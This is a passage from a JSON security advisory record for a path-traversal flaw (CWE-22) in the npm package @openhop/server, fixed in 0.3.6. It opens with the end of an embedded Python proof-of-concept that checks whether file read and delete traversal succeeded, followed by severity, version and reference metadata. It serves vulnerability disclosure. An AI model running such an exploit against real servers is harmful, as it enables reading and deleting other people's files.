store\")\n        passed_delete = True\n    else:\n        print(f\"[FAIL] Expected HTTP 204, got {status}\")\n\n    # ── Summary ─────────────────────────────────────────────────────────\n    print()\n    print(\"=\" * 62)\n    if passed_read and passed_delete:\n        print(\"[RESULT] PASS — Both read and delete path traversal exploited\")\n        return 0\n    elif passed_read:\n        print(\"[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed\")\n        return 1\n    else:\n        print(\"[RESULT] FAIL — Exploit did not succeed\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@openhop/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/naorsabag/openhop/security/advisories/GHSA-g72f-jw3w-mgh7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/naorsabag/openhop/commit/c8190fbefa3a50e7b0c16c001d2e05b0e920cfb4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/naorsabag/openhop"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-09T23:51:59Z",
    "nvd_published_at" : null
  }
}